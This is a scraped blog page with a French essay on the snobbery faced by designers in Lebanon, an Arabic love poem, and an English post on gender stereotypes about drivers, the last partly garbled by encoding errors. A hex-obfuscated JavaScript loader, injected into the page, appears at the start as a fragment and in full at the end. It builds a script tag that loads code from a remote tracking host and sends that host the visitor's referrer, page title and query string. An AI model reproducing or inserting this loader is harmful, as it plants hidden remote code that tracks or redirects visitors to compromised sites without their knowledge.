_0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

L'habit ne fait pas le moine!

Roula Dfouni

“L’habit ne fait pas le moine!” C’est ce qu’on me disait depuis belle lurette, mais ce n’est que récemment que je compris “le vrai” sens de ce proverbe.

Etre Designer/Entrepreneur au Liban n’est pas un privilège. Il faut faire des mains et des pieds pour se tailler une place.  Etre sociable ou « INN » comme on le dit dans ce pays est très important dans notre domaine : “yiihh tu ne vends pas chez xxx ? yayy t’es pas INN !!”

Parlons un peu de xxx ! xxx peut être n’importe quelle personne qui possède une boutique, galerie ou concept store où vous découvrirez de nouveaux talents ou designers établis, tant libanais qu’internationaux. Donc c’est dans notre intérêt, nous « Designers » d’avoir cet espace pour exposer nos oeuvres. Pour faire partie du groupe, il ne suffit pas d’avoir de bons produits, ni la créativité, mais juste de pouvoir “arriver a xxx” (al woussoul ila). xxx peut être une femme au foyer qui eut l’idée de se lancer dans le business, qui a le PR nécessaire, un lot d’argent de disponible et quelques spots à la télé; ou une artiste passionnée d’art, de design et de solidarité. 

J’eus la chance/malchance de rencontrer ces deux profils.

Ma première expérience avec “Miss I’m Famous”: suite à quelques recherches préalables pour s’enquérir de cette Miss et les recommandations d’amis designers (“c’est sympa! Classy! Mahdoum! bien fréquenté – ahamma shi!”),  je me suis dit “pourquoi pas!”. Je pus après maintes tentatives moyennant une collègue, les moyens électroniques, et la préparation adéquate vu ma conscience professionnelle (être à l’heure avec mon look-book sur USB, mon IPAD, des photos, et un look trendy mais simple),  rencontrer « Miss I’m Famous » qui me salua avec un air hautain et sans enthousiasme.  Une « Miss allah khala2neh wou kasar el 2alib » se montre plus friendly, et toutes les deux sont certainement très bien habillées, coiffées, maquillées, botoxées, siliconées, charcutées, etc.  Première impression: je suis mal à l’aise! Je regardais autour de moi pour voir si le magazine Mondanite serait dans le coin 😉 J’attend mon tour (il y avait quelqu’un d’autre qui présentait son travail). 30 minutes…  Je propose aux Miss de regarder mon look-book mais elles se contentent des photos sur ma page Insta, sans me poser de questions, ni s’enquérir à propos de ma démarche artistique… J’eus droit au commentaire suivant, des plus constructifs et valorisants: ” hmmm gheir style !! ” Euh oui, il est évident qu’il s’agisse d’un style différent du vôtre, et j’avais cru que l’espace que les Miss gèrent offre une plateforme de rencontre entre divers styles…  ou non?? !! Miss I’m Famous annonce soudain avoir “un meeting très important à Beirut!” (voyons, l’ONU ne peut se passer d’elle 😉 ) et  Miss 2alla khalakneh wou kasar el 2alib se souvient par hasard qu’elle aurait également un meeting “extrêmement important” (l’avenir du pays en dépend!!!).  Il était midi et on me faisait avaler de bonnes salades… “On va regarder le lookbook 3ala rawak wou mnehkikeh”,,,”tesslamile”. Evidemment, elles ne connaissaient même pas mon nom! Après tout, qui suis-je pour demander un minimum de respect et exiger l’éthique professionnelle? Dans le catalogue PRien de ces deux MISS, je n’ai pas de place, et donc, je n’existe pas… Car dans cette fameuse liste VIP, le portefeuille, une cervelle de moineau, le bling bling, un look refait de la tête aux pieds chez Dr. Y (“le meilleur en ville”) et une page Facebook pleine à craquer de soirées mondaines, fesses et poitrines à l’appui, sans aucune allusion au design ni à l’art, sont des pré-requis.

Ma deuxième expérience fut avec une xxx qui possède également un espace d’exposition d’oeuvres pour des artistes locaux et internationaux. Mme xxx répondit immédiatement à mes appels et montra un intérêt pour me rencontrer sans artifices ni condescendance. Celle-ci me fit le tour de son espace, fournissant des informations sur chacun des designers, prépara un café et dialogua !! Oui, tout simplement: DIALOGUA !! Elle connaissait mon nom, mon style, mes produits (she did her homework) et me fit part de ses attentes tout en précisant “we can do anything you want as long as you are happy”. Le respect et l’entente étaient au rendez-vous. Une artiste de renom, pourtant, à la page Facebook simple, traitant de l’essentiel (le DESIGN) et d’une modestie hors pair!  

La morale de ces deux histoires/ expériences personnelles mais que d’autres collègues vous conteraient également: être Designer au Liban peut rimer avec beaucoup de choses dont ‘la merde enrobée d’atours clinquants’. Dans le pays des apparences trompeuses, Il est extrêmement rare de trouver un accord entre le talent et le caractère, et il est encore plus rare de trouver des personnes qui portent le chapeau de designers tout en l’étant pleinement… En ce sens, je me sens souvent contrainte de me taire lorsqu’on me pose la question sur mon domaine de travail, sur ma passion quoi!… Mais je garde l’espoir 🙂 Les esprits créatifs et la communication humaine n’ont pas complètement disparu!

 

امرأة وعزيزها

عزيزٌ عليَ

ركود الثمار على رجلي
تُدحرج أزمنة البشر بين أصابعٍ يتأرجح زمانها
فوق قُرارة الرجل وهوامش المرأة.

ها أنا ذا
مطليةٌ بألوانٍ تسعى لإخفاء ماهيتي
فتراها تُظهر باطناً يملأه الشوق
فيتدفّق جداول على الرجال العارية
أمام توقهم المسجون في ملاذ ناسكي المدن المجرمة.
عزيزٌ علي
هذا الشجون الفاتن
يسيل بين أحلام بشرتي المتوارية:
شاشة تتفاوت عليها النظرات الكاهلة
وتتداخل فيها أيادي الأعمار المتشنّجة
هاذيةً سالبةً رافَضةً ما أنا وما هيَ.
ها أنا ذا
مرآة العالم السوداء
نورها من داخل لفّقه لاهوت العهود
وظلام الخارج مرمى أحزانِها
تمجّد الغيب فتعود إلى حياة الحقّ بين ثديَي المتمرّدة.
عزيزٌ علَي
هذا الربيع التائه
في ظلمات توتٍ لوّن تألّق فرجي الزاهد
بين خصل الفراولة المداعبة
على مائدة الحياة والأكوان الآتية.
عزيزٌ علي ما أتى
وأعز ما منّي يقوم متضاحكاً
فيجعل من ما يأتي
مستقبلاً قُلته في كلماتٍ
وضعتها على جمرِ العشّاق المقبلة

[hr]

Image source: greekvoices.blogspot.com

Lesson learnt (Men vs Women – Who are the better drivers?)

How many times have we heard: a�?Ita��s got to be a woman driving that car!a�?, a�?Give her 5mins to park that cara�?, a�?Wea��re going to be here all day if we wait for her to get out of that parking spota�?, etc.

Lesson learnt: these are stereotypes.A�

Stereotypes are little pieces of reality that took the form of a generalization. They start off with an incident or two, and suddenly we start saying that an entire group of people has that set of specs. Is it possible to break down these stereotypes or are we simply adding fuel to the fire?

This is Lebanon. Here, we dona��t abide by the street lights. If the road is open, we simply drive. If our light is red and we are driving, we curse at the driver facing us who reminds us that the light is red. And if our light is green and we are faced with a driver passing a red light we curse at him because his light is red! Confusing? The majority of us just wants to get from A to B with the least of traffic and minimum time, regardless if we break a law or two, or are rude and disrespectful to anyone. How can we be blamed? We are doing the impossible to make as much money as possible to be able to enjoy a couple of nights out in the month, with the inflation and the never-getting-better salaries…

But, when we teach our sons at a young age to drive while we dona��t do the same with girls, we feed this stereotype. Driving isna��t that hard; it has a couple of tricks and thata��s about it. With practice, awareness and turning all your senses on, you can get the hang of it. Some people have these senses hyped. Some people are fast to react; they notice things faster and make quick judgment and they take less time to figure out what to do in case of accidents. These people are confident and firm, and they know they can handle themselves behind the wheel. These people can be men and women. This is not genetic of course. Ita��s not in onea��s chromosomes or hormones. Like anything else it can be worked on and improved over the years.

When kids are growing up, boys look up to their dads while girls to their moms. There are a lot of houses where women have a strong stance; those girls grow up to be stronger than ones whose moms are occupied with material things. Ita��s not wrong to be either. Diversity is the key to life. But, we need to raise our kids equally. Girls need to know that ita��s okay if they want to take career paths less frequented by girls, and boys need to know that there is no shame in pursuing careers that are dominated by female presence.

A�Back to the driving lesson, so what if a woman couldna��t park her car in ideal time? Have you not seen men fail at fitting a small car in a spot that could fit two? So what if she drove safely and turned her blinkers on when making a left or right? How many men have accidents because they dona��t do this? And so what if she didna��t drive at 120km/h? Remember the number of drunken youngsters wea��ve lost due to speeding and crashing into walls?

[hr]

Image source:A�http://www.trendhunter.com/trends/men-vs-women-who-are-the-better-drivers-infographic

var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}